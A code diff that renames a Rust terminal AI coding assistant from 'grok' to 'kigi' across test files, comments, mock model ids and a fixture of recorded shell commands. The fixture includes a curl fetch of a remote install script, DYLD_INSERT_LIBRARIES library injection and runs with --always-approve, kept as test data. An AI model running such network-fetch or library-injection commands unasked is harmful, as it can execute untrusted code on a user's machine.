     // A single argument containing whitespace is a shell-quoted command line
-    // (`grok wrap "mycli ssh host"`), not a program name: hand it to the shell
+    // (`kigi wrap "mycli ssh host"`), not a program name: hand it to the shell
     // verbatim so it does word-splitting, alias expansion, pipes, etc.
     if command.len() == 1 && command[0].contains(char::is_whitespace) {
         return via_shell(command[0].clone());
@@ -122,7 +122,7 @@ fn derive_spawn(
     // (`alias mycli=remote`); only a shell can expand it. Explicit paths
     // (containing `/`) spawn directly so their errors stay precise, as do
     // empty and whitespace-containing first words — neither can be an alias
-    // name, and an empty one (`grok wrap "$PROG" ...` with `$PROG` unset)
+    // name, and an empty one (`kigi wrap "$PROG" ...` with `$PROG` unset)
     // must keep failing fast instead of silently running the tail.
     if !command[0].is_empty()
         && !command[0].contains('/')
@@ -183,7 +183,7 @@ fn resolve_shell(shell: Option<&str>) -> String {
 
 /// Returns true when the command should be wrapped in a local PTY.
 ///
-/// Unlike `grok ssh`, `grok wrap` does not gate on the terminal brand: the user
+/// Unlike `kigi ssh`, `kigi wrap` does not gate on the terminal brand: the user
 /// has explicitly asked to forward the clipboard, and interception works
 /// regardless of whether the outer terminal supports OSC 52 (the payload is
 /// written to the local clipboard directly).
diff --git a/crates/codegen/kigi-tui/src/wrap_cmd_tests.rs b/crates/codegen/kigi-tui/src/wrap_cmd_tests.rs
index c7e7edf..546cb1b 100644
--- a/crates/codegen/kigi-tui/src/wrap_cmd_tests.rs
+++ b/crates/codegen/kigi-tui/src/wrap_cmd_tests.rs
@@ -1,4 +1,4 @@
-//! Unit tests for the `grok wrap` spawn planning in [`super`] (`wrap_cmd`),
+//! Unit tests for the `kigi wrap` spawn planning in [`super`] (`wrap_cmd`),
 //! split out via `#[path]` to keep the module itself small.
 //!
 //! Everything is pure — `derive_spawn` takes the PATH lookup result and the
diff --git a/crates/codegen/kigi-tui/tests/fixtures/historic_bash_cmds.txt b/crates/codegen/kigi-tui/tests/fixtures/historic_bash_cmds.txt
index 34966e9..e3a2971 100644
--- a/crates/codegen/kigi-tui/tests/fixtures/historic_bash_cmds.txt
+++ b/crates/codegen/kigi-tui/tests/fixtures/historic_bash_cmds.txt
@@ -71,7 +71,7 @@ curl -LsSf "http://file-server.example.internal/cicd/example/install.sh?nocache"
 ! sudo du -shx /.Spotlight-V100 /.DocumentRevisions-V100 /private/var/vm /private/var/folders /cores /Library 2>/dev/null | sort -rh
 ### END
 ### CMD 21
-cat ~/.grok/config.toml | grep composer
+cat ~/.kigi/config.toml | grep composer
 ### END
 ### CMD 22
 KIGI_DEBUG_CONTEXT_WINDOW=100000 KIGI_AUTO_COMPACT_THRESHOLD_PERCENT=5 /tmp/pager-under-test -r 019e0000-0000-7000-8000-000000000001 -p 'reply with exactly: again' --model example-model --always-approve --no-leader > /tmp/compaction-repro/headless5.log 2>&1; echo EXIT=$? >> /tmp/compaction-repro/headless5.log
@@ -95,7 +95,7 @@ strings target/debug/kigi-tui | grep -c slash-mru-writer   # must print >=1\
 SSH_CONNECTION='10.0.0.1 51234 10.0.0.2 22' \\
 ### END
 ### CMD 29
-DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=/opt/homebrew/lib/faketime/libfaketime.1.dylib FAKETIME_TIMESTAMP_FILE=/tmp/ft.rc FAKETIME_NO_CACHE=1 FAKETIME_DONT_FAKE_MONOTONIC=1 /tmp/pager-date-test --model grok-build --always-approve --no-leader
+DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=/opt/homebrew/lib/faketime/libfaketime.1.dylib FAKETIME_TIMESTAMP_FILE=/tmp/ft.rc FAKETIME_NO_CACHE=1 FAKETIME_DONT_FAKE_MONOTONIC=1 /tmp/pager-date-test --model kigi --always-approve --no-leader
 ### END
 ### CMD 30
 DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=/opt/homebrew/lib/faketime/libfaketime.1.dylib FAKETIME_TIMESTAMP_FILE=/tmp/ft.rc FAKETIME_NO_CACHE=1 FAKETIME_DONT_FAKE_MONOTONIC=1 /tmp/pager-date-test --always-approve --no-leader
diff --git a/crates/codegen/kigi-tui/tests/kigi_home_paths.rs b/crates/codegen/kigi-tui/tests/kigi_home_paths.rs
index 46ea53b..db2fb51 100644
--- a/crates/codegen/kigi-tui/tests/kigi_home_paths.rs
+++ b/crates/codegen/kigi-tui/tests/kigi_home_paths.rs
@@ -20,7 +20,7 @@ fn kigi_home_override_path_helpers() {
         "$KIGI_SHARE_DIR"
     );
     assert_eq!(
-        kigi_tui::util::display_user_grok_path("config.toml"),
+        kigi_tui::util::display_user_kigi_path("config.toml"),
         "$KIGI_SHARE_DIR/config.toml"
     );
 
diff --git a/crates/codegen/kigi-tui/tests/pty_auto_mode.rs b/crates/codegen/kigi-tui/tests/pty_auto_mode.rs
index c583de1..5cb977c 100644
--- a/crates/codegen/kigi-tui/tests/pty_auto_mode.rs
+++ b/crates/codegen/kigi-tui/tests/pty_auto_mode.rs
@@ -49,10 +49,10 @@ fn dirs_next_home() -> Option<PathBuf> {
 /// auto-permission-mode feature gate pinned explicitly via `gate_on` so each
 /// test is self-contained and deterministic regardless of the runner's shell.
 fn prepare_sandbox(home: &Path, gate_on: bool) -> Vec<(String, String)> {
-    let grok = home.join(".kigi");
-    let _ = std::fs::create_dir_all(&grok);
+    let kigi = home.join(".kigi");
+    let _ = std::fs::create_dir_all(&kigi);
     if let Some(src) = auth_json_source() {
-        let dest = grok.join("auth.json");
+        let dest = kigi.join("auth.json");
         if let Err(e) = std::fs::copy(&src, &dest) {
             eprintln!("pty_auto_mode: could not copy auth.json ({e}); login may block mode cycle");
         } else {
@@ -69,7 +69,7 @@ fn prepare_sandbox(home: &Path, gate_on: bool) -> Vec<(String, String)> {
     let home_s = home.display().to_string();
     let mut env = vec![
         ("HOME".into(), home_s.clone()),
-        ("KIGI_SHARE_DIR".into(), grok.display().to_string()),
+        ("KIGI_SHARE_DIR".into(), kigi.display().to_string()),
         ("XDG_CONFIG_HOME".into(), format!("{home_s}/.config")),
         ("XDG_DATA_HOME".into(), format!("{home_s}/.local/share")),
         ("XDG_CACHE_HOME".into(), format!("{home_s}/.cache")),
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/common.rs b/crates/codegen/kigi-tui/tests/pty_e2e/common.rs
index c8313a8..793b237 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/common.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/common.rs
@@ -186,7 +186,7 @@ pub(crate) fn spawn_polling_session_with_env(
 /// Start the mock server with two models that have different agent types,
 /// and return a `ContentController` configured for agent-type-mismatch
 /// testing. The default model is `"default-model"` (no agent type → uses
-/// `grok-build` harness).
+/// `kigi` harness).
 pub(crate) async fn start_dual_agent_type_content() -> ContentController {
     ContentController::start_with_models(vec![
         MockModel::new("default-model"),
@@ -217,7 +217,7 @@ pub(crate) fn git_repo_with_mcp_json() -> tempfile::TempDir {
 /// point at the isolated temp home, so the trust store starts empty.
 pub(crate) fn trust_env(content: &ContentController, feature_on: bool) -> Vec<(String, String)> {
     let mut env = content.env_for_pager();
-    // A self-built (unstamped) grok auto-trusts and never prompts; simulate a
+    // A self-built (unstamped) kigi auto-trusts and never prompts; simulate a
     // release build so the folder-trust feature is actually evaluated here. The
     // feature-off case below then exercises the TRUE feature-off path, not
     // auto-trust.
@@ -259,7 +259,7 @@ pub(crate) fn turn_sentinel(n: u8) -> String {
 /// Seeded server name; it only renders once the MCP list fetch resolves.
 pub(crate) const MCP_TEST_SERVER: &str = "ptytestmcp";
 
-/// Budget for session creation plus the `x.ai/mcp/list` round-trip.
+/// Budget for session creation plus the `kigi/mcp/list` round-trip.
 pub(crate) const MCP_MENU_LOAD_TIMEOUT: Duration = Duration::from_secs(30);
 
 /// Configured servers list with a status badge even when never connected.
@@ -1096,9 +1096,9 @@ pub(crate) fn quit_minimal(harness: &mut PtyHarness) {
     }
 }
 
-// ── grok wrap e2e ───────────────────────────────────────────────────────
+// ── kigi wrap e2e ───────────────────────────────────────────────────────
 
-/// `grok wrap` run budget. Same contention math as the requirements-version
+/// `kigi wrap` run budget. Same contention math as the requirements-version
 /// test: the child's cold exec of the huge debug binary can land its first
 /// write well past 30s under the parallel pty_e2e suite.
 #[cfg(unix)]
@@ -1107,7 +1107,7 @@ pub(crate) const WRAP_TIMEOUT: Duration = Duration::from_secs(120);
 #[cfg(unix)]
 const WRAP_DRAIN_TIMEOUT: Duration = Duration::from_secs(10);
 
-/// Run `grok wrap <wrap_args...>` to completion inside a PTY with an isolated
+/// Run `kigi wrap <wrap_args...>` to completion inside a PTY with an isolated
 /// `KIGI_SHARE_DIR`, returning the exit code (`None` if it never exited within
 /// [`WRAP_TIMEOUT`]) and everything the wrap PTY emitted. `extra_env` is where
 /// tests pin `SHELL`; wrap needs no mock content — it dispatches in `main`
@@ -1124,7 +1124,7 @@ pub(crate) fn run_wrap(wrap_args: &[&str], extra_env: &[(&str, &str)]) -> (Optio
     env.extend_from_slice(extra_env);
 
     let mut harness =
-        PtyHarness::new(&binary, DEFAULT_ROWS, DEFAULT_COLS, &args, &env).expect("spawn grok wrap");
+        PtyHarness::new(&binary, DEFAULT_ROWS, DEFAULT_COLS, &args, &env).expect("spawn kigi wrap");
 
     let code = harness
         .wait_for_exit_and_drain(WRAP_TIMEOUT, WRAP_DRAIN_TIMEOUT)
@@ -1139,7 +1139,7 @@ pub(crate) fn run_wrap(wrap_args: &[&str], extra_env: &[(&str, &str)]) -> (Optio
 
 /// Write an executable fake `$SHELL` that prints each argv element on its own
 /// `ARG:`-prefixed line and exits 0, so tests can assert the exact argv
-/// `grok wrap` hands to the user's shell without depending on any real
+/// `kigi wrap` hands to the user's shell without depending on any real
 /// shell's rc files or alias state. Keep the returned tempdir alive for the
 /// duration of the run.
 #[cfg(unix)]
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/doubled_lines_out_of_band_repro.rs b/crates/codegen/kigi-tui/tests/pty_e2e/doubled_lines_out_of_band_repro.rs
index 5d5e697..4af0e43 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/doubled_lines_out_of_band_repro.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/doubled_lines_out_of_band_repro.rs
@@ -1,24 +1,24 @@
 //! Doubled lines — regression guard via a simulated
 //! out-of-band screen reflow.
 //!
-//! The stack is `tmux -> nvim :terminal -> grok`: nvim/tmux repaint grok's
-//! pane out-of-band (no grok PTY resize), and grok's diff renderer only
+//! The stack is `tmux -> nvim :terminal -> kigi`: nvim/tmux repaint kigi's
+//! pane out-of-band (no kigi PTY resize), and kigi's diff renderer only
 //! re-clears on a real size change — so the rows it doesn't own survive and
 //! you get doubled lines at the top/bottom until restart.
 //!
 //! The harness is a single faithful emulator and can't nest a real tmux/nvim,
 //! so we SIMULATE the out-of-band reflow with `feed_screen` (writes straight
-//! into the virtual terminal, bypassing grok) and then check whether grok
-//! heals it. `NVIM` is set in grok's env so it sees the embedded-editor
+//! into the virtual terminal, bypassing kigi) and then check whether kigi
+//! heals it. `NVIM` is set in kigi's env so it sees the embedded-editor
 //! context the fix keys off (mirroring a real nvim `:terminal`).
 //!
-//! The fix: grok forces a full clear+repaint on `FocusGained` in
+//! The fix: kigi forces a full clear+repaint on `FocusGained` in
 //! editor/multiplexer contexts, so the injected row is gone after refocus.
 //! The final assertion guards that heal.
 
 use super::common::*;
 
-/// Unique sentinel that grok would never render on its own.
+/// Unique sentinel that kigi would never render on its own.
 const STALE_MARKER: &str = "STALE_OUT_OF_BAND_ROW_ZZZ";
 
 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
@@ -31,7 +31,7 @@ async fn out_of_band_stale_row_heals_on_focus_gained() {
     // Mock-auth env + pretend we're inside a neovim `:terminal` (sets the
     // embedded-editor context the doubled-line fix gates on).
     let mut env = content.env_for_pager();
-    env.push(("NVIM".into(), "/tmp/grok-pty-harness-fake-nvim.sock".into()));
+    env.push(("NVIM".into(), "/tmp/kigi-pty-harness-fake-nvim.sock".into()));
     let env_refs: Vec<(&str, &str)> = env.iter().map(|(k, v)| (k.as_str(), v.as_str())).collect();
 
     let binary = pager_binary().expect("resolve pager binary");
@@ -49,7 +49,7 @@ async fn out_of_band_stale_row_heals_on_focus_gained() {
     );
 
     // Simulate the out-of-band reflow: write a stale row straight into the
-    // virtual screen at col 1 — the static left margin grok's diff renderer
+    // virtual screen at col 1 — the static left margin kigi's diff renderer
     // doesn't repaint during the logo shimmer. The heal is a full clear, so
     // removal is reliable. `\x1b[<row>;<col>H` is 1-based cursor positioning.
     h.feed_screen(format!("\x1b[6;1H{STALE_MARKER}").as_bytes());
@@ -58,16 +58,16 @@ async fn out_of_band_stale_row_heals_on_focus_gained() {
         "marker should be on the virtual screen right after injection"
     );
 
-    // grok must not self-heal out-of-band content via ordinary diff redraws:
+    // kigi must not self-heal out-of-band content via ordinary diff redraws:
     // it only rewrites cells whose own model changed, so this row is stranded.
     h.update(Duration::from_millis(300));
     assert!(
         h.contains_text(STALE_MARKER),
-        "stale row should survive a normal redraw (grok's diff renderer doesn't own it)\nscreen:\n{}",
+        "stale row should survive a normal redraw (kigi's diff renderer doesn't own it)\nscreen:\n{}",
         h.screen_contents()
     );
 
-    // A FocusGained (CSI I) forces a full clear+repaint that re-asserts grok's
+    // A FocusGained (CSI I) forces a full clear+repaint that re-asserts kigi's
     // whole screen and removes the out-of-band row.
     h.inject_keys(b"\x1b[I").expect("inject FocusGained");
     // Poll for the heal instead of a fixed settle so host load can't flake it.
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/edit_collapsed_oneliner_pty.rs b/crates/codegen/kigi-tui/tests/pty_e2e/edit_collapsed_oneliner_pty.rs
index ce25743..215edc9 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/edit_collapsed_oneliner_pty.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/edit_collapsed_oneliner_pty.rs
@@ -39,7 +39,7 @@ async fn edit_collapsed_oneliner_pty() {
         json!({
             "file_path": abs.to_string_lossy(),
             "old_string": "    return \"hi\"",
-            "new_string": format!("    name = \"grok\"  # {BODY_MARKER}\n    return f\"hi {{name}}\""),
+            "new_string": format!("    name = \"kigi\"  # {BODY_MARKER}\n    return f\"hi {{name}}\""),
         })
         .to_string(),
     );
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/initial_prompt_positional_auto_submits.rs b/crates/codegen/kigi-tui/tests/pty_e2e/initial_prompt_positional_auto_submits.rs
index 4a886db..1656eba 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/initial_prompt_positional_auto_submits.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/initial_prompt_positional_auto_submits.rs
@@ -3,7 +3,7 @@
 use super::common::*;
 
 /// 11. **Initial prompt positional.**
-/// Launching `grok "<prompt>"` (the prompt passed as a positional CLI arg)
+/// Launching `kigi "<prompt>"` (the prompt passed as a positional CLI arg)
 /// auto-starts a new session and submits the prompt as the first turn —
 /// no keystrokes injected. This exercises the full loop end-to-end:
 /// CLI positional → TUI launch → NewSession → SendPrompt → shell agent →
@@ -17,7 +17,7 @@ async fn initial_prompt_positional_auto_submits() {
     ));
 
     let binary = pager_binary().expect("resolve pager binary");
-    // Pass the prompt as a positional argument, exactly like `grok "go"`.
+    // Pass the prompt as a positional argument, exactly like `kigi "go"`.
     let mut harness =
         PtyHarness::spawn_with_content(&binary, DEFAULT_ROWS, DEFAULT_COLS, &content, &[PROMPT])
             .expect("spawn pager with initial prompt");
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/mid_text_skill_token_echo_styled_pty.rs b/crates/codegen/kigi-tui/tests/pty_e2e/mid_text_skill_token_echo_styled_pty.rs
index 9ad3e72..ef48024 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/mid_text_skill_token_echo_styled_pty.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/mid_text_skill_token_echo_styled_pty.rs
@@ -36,7 +36,7 @@ fn run_fg_on_row(rows: &[StyledLine], row_marker: &str, needle: &str) -> Option<
 
 /// Seed a user-invocable skill under `dir/.kigi/skills`. The workspace must
 /// be a git repo: the live session advertises workspace-local skills only for
-/// git workspaces (offline `grok inspect` scans plain dirs too) — same shape
+/// git workspaces (offline `kigi inspect` scans plain dirs too) — same shape
 /// as the mid_text_skill_token_echo.yaml scenario's `git_init: true`.
 fn seed_test_skill(dir: &Path) {
     let skill_dir = dir.join(".kigi").join("skills").join("test-skill");
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_cli_screen_mode_does_not_persist.rs b/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_cli_screen_mode_does_not_persist.rs
index 197e254..05c1377 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_cli_screen_mode_does_not_persist.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_cli_screen_mode_does_not_persist.rs
@@ -4,7 +4,7 @@ use crate::common::*;
 
 /// CLI `--minimal` / `--fullscreen` must not write `[ui] screen_mode` to
 /// config.toml. Mode flags are session-scoped; only a manual config.toml edit
-/// should make a mode sticky across plain `grok` launches.
+/// should make a mode sticky across plain `kigi` launches.
 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
 #[ignore]
 async fn minimal_cli_screen_mode_does_not_persist() {
@@ -51,7 +51,7 @@ async fn minimal_cli_screen_mode_does_not_persist() {
         .wait_for_text(WELCOME_SCREEN_SENTINEL, WELCOME_TIMEOUT)
         .unwrap_or_else(|e| {
             panic!(
-                "plain grok should open fullscreen after --minimal (no sticky write): {e}\nscreen:\n{}",
+                "plain kigi should open fullscreen after --minimal (no sticky write): {e}\nscreen:\n{}",
                 second.screen_contents()
             )
         });
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_new_session_keeps_history_and_resets.rs b/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_new_session_keeps_history_and_resets.rs
index 3be723b..a436083 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_new_session_keeps_history_and_resets.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_new_session_keeps_history_and_resets.rs
@@ -10,13 +10,13 @@ use crate::common::*;
 /// The first turn is genuinely taller than the screen (a fenced code block, not
 /// reflowable prose) so the first welcome card and the turn's head scroll into
 /// *native scrollback* before `/new`. The robust "new session" signal is then
-/// that a *second* welcome card appears (two `Grok Build` banners in
+/// that a *second* welcome card appears (two `Kigi` banners in
 /// scrollback+screen), independent of exactly how content scrolled.
 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
 #[ignore]
 async fn minimal_new_session_keeps_history_and_resets() {
     /// Substring printed once per minimal welcome card (see `minimal::welcome`).
-    const WELCOME_BANNER: &str = "Grok Build";
+    const WELCOME_BANNER: &str = "Kigi";
 
     let content = ContentController::start().await.expect("start content");
     // Code-block rows (not prose, which markdown-reflows to fit on screen) so
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_slash_switches_from_fullscreen.rs b/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_slash_switches_from_fullscreen.rs
index 7c3069e..a4c1859 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_slash_switches_from_fullscreen.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_slash_switches_from_fullscreen.rs
@@ -88,7 +88,7 @@ async fn minimal_slash_switches_from_fullscreen() {
         "main screen should be cleared on /minimal relaunch; leftover reopen text:\n{screen}"
     );
     assert!(
-        screen.contains("Grok Build") || harness.full_text().contains("Grok Build"),
+        screen.contains("Kigi") || harness.full_text().contains("Kigi"),
         "welcome card should re-anchor at top after /minimal relaunch\nscreen:\n{screen}"
     );
 
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_transcript_pager_restore_no_artifacts.rs b/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_transcript_pager_restore_no_artifacts.rs
index 91f63a5..f084d03 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_transcript_pager_restore_no_artifacts.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/minimal/minimal_transcript_pager_restore_no_artifacts.rs
@@ -83,7 +83,7 @@ async fn minimal_transcript_pager_restore_no_artifacts() {
     // transcript temp-file path — the conversation sentinel can't be used as
     // the signal, it is already visible on the live screen. Then quit it.
     harness
-        .wait_for_text("grok-transcript-", Duration::from_secs(20))
+        .wait_for_text("kigi-transcript-", Duration::from_secs(20))
         .expect("less shows the transcript");
     harness.update(Duration::from_millis(300));
     harness.inject_keys(b"q").expect("quit less");
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/prompt_suggestion_ghost_tab_accepts.rs b/crates/codegen/kigi-tui/tests/pty_e2e/prompt_suggestion_ghost_tab_accepts.rs
index 4c50554..af7a50e 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/prompt_suggestion_ghost_tab_accepts.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/prompt_suggestion_ghost_tab_accepts.rs
@@ -3,7 +3,7 @@
 use super::common::*;
 
 /// The suggestion the mock streams for every request. Serves BOTH the prompt
-/// turn and the turn-end `x.ai/suggestPrompt` call (the mock's fixed mode
+/// turn and the turn-end `kigi/suggestPrompt` call (the mock's fixed mode
 /// answers every request), so after the turn the ghost text mirrors it.
 /// Multi-word so the shell-side sanitizer (`sanitize_suggestion`) accepts it.
 const SUGGESTION: &str = "review the staged changes";
@@ -22,7 +22,7 @@ const ACCEPT_HINT: &str = "accept suggestion";
 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
 #[ignore]
 async fn prompt_suggestion_ghost_tab_accepts() {
-    // The suggestion model (`grok-build-0.1`, the shell's built-in default)
+    // The suggestion model (`kigi-0.1`, the shell's built-in default)
     // must be in the mock catalog: the shell catalog-guards the effective
     // suggestion model and *skips the request entirely* when it is not
     // sampleable (`prompt_suggest::effective_suggest_model`), exactly as it
@@ -32,7 +32,7 @@ async fn prompt_suggestion_ghost_tab_accepts() {
     // `test-model` stays first so it remains the session's default model.
     let content = ContentController::start_with_models(vec![
         MockModel::new("test-model"),
-        MockModel::new("grok-build-0.1"),
+        MockModel::new("kigi-0.1"),
     ])
     .await
     .expect("start content");
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/reasoning_efforts_fallback_menu_matches_builtin.rs b/crates/codegen/kigi-tui/tests/pty_e2e/reasoning_efforts_fallback_menu_matches_builtin.rs
index 2f804bf..119f785 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/reasoning_efforts_fallback_menu_matches_builtin.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/reasoning_efforts_fallback_menu_matches_builtin.rs
@@ -9,7 +9,7 @@ use super::common::*;
 #[ignore]
 async fn reasoning_efforts_fallback_menu_matches_builtin() {
     let content = ContentController::start_with_models(vec![
-        MockModel::new("grok-4.5").with_supports_reasoning_effort(true),
+        MockModel::new("kigi-4.5").with_supports_reasoning_effort(true),
     ])
     .await
     .expect("start content");
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/reasoning_efforts_from_config_toml_menu.rs b/crates/codegen/kigi-tui/tests/pty_e2e/reasoning_efforts_from_config_toml_menu.rs
index d28b248..55379d7 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/reasoning_efforts_from_config_toml_menu.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/reasoning_efforts_from_config_toml_menu.rs
@@ -9,7 +9,7 @@ use super::common::*;
 #[ignore]
 async fn reasoning_efforts_from_config_toml_menu() {
     let content = ContentController::start_with_models(vec![
-        MockModel::new("grok-4.5").with_supports_reasoning_effort(true),
+        MockModel::new("kigi-4.5").with_supports_reasoning_effort(true),
     ])
     .await
     .expect("start content");
@@ -18,10 +18,10 @@ async fn reasoning_efforts_from_config_toml_menu() {
     // Seed `~/.kigi/config.toml` with a per-model reasoning-effort menu.
     let kigi_home = content.home().join(".kigi");
     std::fs::create_dir_all(&kigi_home).expect("create .kigi");
-    // Quote the dotted model id: bare `[model.kigi-4.5]` is TOML key-path syntax (model.kigi-4.5), not the id "grok-4.5".
+    // Quote the dotted model id: bare `[model.kigi-4.5]` is TOML key-path syntax (model.kigi-4.5), not the id "kigi-4.5".
     std::fs::write(
         kigi_home.join("config.toml"),
-        "[model.\"grok-4.5\"]\nreasoning_efforts = [{ value = \"high\", label = \"ConfigHigh\" }]\n",
+        "[model.\"kigi-4.5\"]\nreasoning_efforts = [{ value = \"high\", label = \"ConfigHigh\" }]\n",
     )
     .expect("write config.toml");
 
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/reasoning_efforts_menu_renders_and_remaps_on_wire.rs b/crates/codegen/kigi-tui/tests/pty_e2e/reasoning_efforts_menu_renders_and_remaps_on_wire.rs
index f4951f5..b94e64c 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/reasoning_efforts_menu_renders_and_remaps_on_wire.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/reasoning_efforts_menu_renders_and_remaps_on_wire.rs
@@ -9,7 +9,7 @@ use super::common::*;
 #[ignore]
 async fn reasoning_efforts_menu_renders_and_remaps_on_wire() {
     let content = ContentController::start_with_models(vec![
-        MockModel::new("grok-4.5")
+        MockModel::new("kigi-4.5")
             .with_supports_reasoning_effort(true)
             .with_reasoning_efforts(vec![
                 json!({ "id": "deep", "value": "xhigh", "label": "Deep", "description": "Maximum reasoning" }),
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/removed_queued_prompt_never_sent.rs b/crates/codegen/kigi-tui/tests/pty_e2e/removed_queued_prompt_never_sent.rs
index 76a4832..87d3f87 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/removed_queued_prompt_never_sent.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/removed_queued_prompt_never_sent.rs
@@ -68,7 +68,7 @@ async fn removed_queued_prompt_never_sent() {
     }
 
     // `queued alpha` vanished optimistically the instant `x` was handled; give
-    // the `x.ai/queue/remove` RPC time to reach the shell and mutate the
+    // the `kigi/queue/remove` RPC time to reach the shell and mutate the
     // authoritative queue before we let turn 1 complete. Turn 1 stays gated
     // throughout, so the removal always lands while `alpha` is still queued
     // (never promoted) — the survivor `bravo` is the only thing left to run.
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/requirements_version_failure_exits_2_with_guidance.rs b/crates/codegen/kigi-tui/tests/pty_e2e/requirements_version_failure_exits_2_with_guidance.rs
index a9fb016..74b3468 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/requirements_version_failure_exits_2_with_guidance.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/requirements_version_failure_exits_2_with_guidance.rs
@@ -28,7 +28,7 @@ async fn requirements_version_failure_exits_2_with_guidance() {
     )
     .expect("spawn pager");
 
-    let msg = "Update Grok to a version the policy allows";
+    let msg = "Update Kigi to a version the policy allows";
     // This single budget must cover the child's cold *exec* (a ~680MB unoptimized
     // debug binary) plus reaching `main()` and running `validate_requirements` —
     // all before the runtime/TUI. Under the ~60-way-parallel `pty_e2e` suite,
diff --git a/crates/codegen/kigi-tui/tests/pty_e2e/resize_preserves_scroll_position.rs b/crates/codegen/kigi-tui/tests/pty_e2e/resize_preserves_scroll_position.rs
index c772dc9..0073e8a 100644
--- a/crates/codegen/kigi-tui/tests/pty_e2e/resize_preserves_scroll_position.rs
+++ b/crates/codegen/kigi-tui/tests/pty_e2e/resize_preserves_scroll_position.rs
@@ -4,15 +4,15 @@ use super::common::*;
 
 // ── Reproduction: horizontal resize must not lose the scroll position ─────
 //
-// Bug: when the user has scrolled UP into grok's scrollback (NOT pinned to the
-// bottom / not following) and the terminal is resized HORIZONTALLY, grok loses
+// Bug: when the user has scrolled UP into kigi's scrollback (NOT pinned to the
+// bottom / not following) and the terminal is resized HORIZONTALLY, kigi loses
 // its scroll position and the view jumps. Root cause:
 // `ScrollbackState.scroll_offset` is an ABSOLUTE count of WRAPPED DISPLAY ROWS
 // (`scrollback/state/mod.rs`). On a width change `prepare_layout` re-wraps all
 // content at the new width and rebuilds the row map, but LEAVES `scroll_offset`
 // unchanged (Case 1 full rebuild) — so the same row number now points at
 // different content and the viewport jumps. It only happens when NOT following;
-// in follow/tail mode grok re-pins to the bottom (no jump).
+// in follow/tail mode kigi re-pins to the bottom (no jump).
 //
 // This test parks the marker in the MIDDLE of the viewport while scrolled into
 // the middle of the transcript (TOP and BOTTOM sentinels both scrolled off),
@@ -23,10 +23,10 @@ use super::common::*;
 // rebuild and restored after) re-pins the viewport-top content across the
 // reflow so the marker stays put.
 //
-// Runs FULLSCREEN (alt-screen): grok's mode-independent scroll-anchor logic is
+// Runs FULLSCREEN (alt-screen): kigi's mode-independent scroll-anchor logic is
 // what's under test. `Viewport::Fullscreen` is autoresized on resize with no DSR
-// cursor probe, so grok itself re-wraps at the new width, and the alt-screen grid
-// is not reflowed by the terminal — so the marker's position reflects grok's own
+// cursor probe, so kigi itself re-wraps at the new width, and the alt-screen grid
+// is not reflowed by the terminal — so the marker's position reflects kigi's own
 // re-layout, with no harness-reflow confound.
 
 /// Unique marker on its own (non-wrapping) line, with WRAPPING content above it.
@@ -75,7 +75,7 @@ const POS_TOLERANCE: i32 = 2;
 /// paragraphs, a block of short non-wrapping guard paragraphs, the marker on its
 /// own line, a long run of short filler, then a bottom sentinel.
 ///
-/// grok renders markdown with SOFT line breaks (a single `\n` becomes a space),
+/// kigi renders markdown with SOFT line breaks (a single `\n` becomes a space),
 /// so every logical line is emitted as its own paragraph (blank line between)
 /// to get a predictable one-hard-line-per-line layout where only the long
